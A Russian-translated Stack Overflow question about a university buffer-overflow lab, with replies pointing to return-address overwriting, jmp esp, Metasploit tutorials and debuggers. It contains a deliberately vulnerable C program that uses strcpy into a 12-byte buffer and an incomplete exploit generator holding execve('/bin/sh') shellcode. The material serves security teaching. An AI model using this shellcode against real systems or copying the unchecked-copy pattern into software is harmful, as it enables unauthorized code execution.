2012-03-12 1 views
11

Я работаю над проектом, в котором я должен написать программу на C, чтобы использовать уязвимость данной программы.Использование BufferOverflow

Вот уязвима программа C:

#include <stdlib.h> 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 
    strcpy(buffer, str); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
} 

А вот код для эксплуатации:

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
char shellcode[]= 
"\x31\xc0" /* xorl %eax,%eax */ 
"\x50"  /* pushl %eax  */ 
"\x68""//sh"/* pushl $0x68732f2f */ 
"\x68""/bin"/* pushl $0x6e69622f */ 
"\x89\xe3" /* movl %esp,%ebx */ 
"\x50"  /* pushl %eax  */ 
"\x53"  /* pushl %ebx  */ 
"\x89\xe1" /* movl %esp,%ecx */ 
"\x99"  /* cdql    */ 
"\xb0\x0b" /* movb $0x0b,%al */ 
"\xcd\x80" /* int $0x80  */ 
; 

void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 

    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(&buffer, 0x90, 517); 

    /* Fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer, 517, 1, badfile); 
    fclose(badfile); 
} 

Итак, мне нужно, чтобы заполнить буфер с соответствующим содержанием перед сохранением в «badfile ». Я много читал о переполнении буфера, и мне кажется, мне нужно изменить адрес возврата уязвимой программы. Но я действительно не знаю, как я должен это делать. Должен ли я сначала найти исходный адрес возврата или есть что-то еще, что я могу сделать? Кроме того, любые идеи/предложения о том, как я должен реализовать буфер?

+1

Просто подумал, что отправлю ссылку на [проект] (http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/). – Mehrdad

+1

Вам нужно выяснить смещение буфера, которое закончит перезаписывать сохраненный указатель возврата, а затем подстроить значение в этом смещении, чтобы указать на команду, которая закончит выполнение остальной части буфера (например, 'jmp esp'). –

+2

Если проект предназначен для [школы] (http://meta.stackexchange.com/q/10811/133817), укажите это явно. Вопросы о SO должны быть более ориентированы на ваш собственный код, чем этот (см. Ссылку для подробностей); если вы даже не уверены, с чего начать, лучше спросить своего учителя или ТП. Это то, что они должны были покрыть в классе или в вашем материале. – outis

ответ

1

Предлагаю прочитать страницы на Metasploit Unleashed, начиная с this one. Вы можете пройти через связанные рубиновые модули, посмотреть, что на самом деле происходит, и порт на C. Хотя нетривиально, он демонстрирует необходимые методы.

Также, как предложили другие, использование отладчика важно для выяснения того, что происходит. Получение достойного, например, cgdb, ddd, pyclewn, или gdb-mode, сделает жизнь намного проще.

Смежные вопросы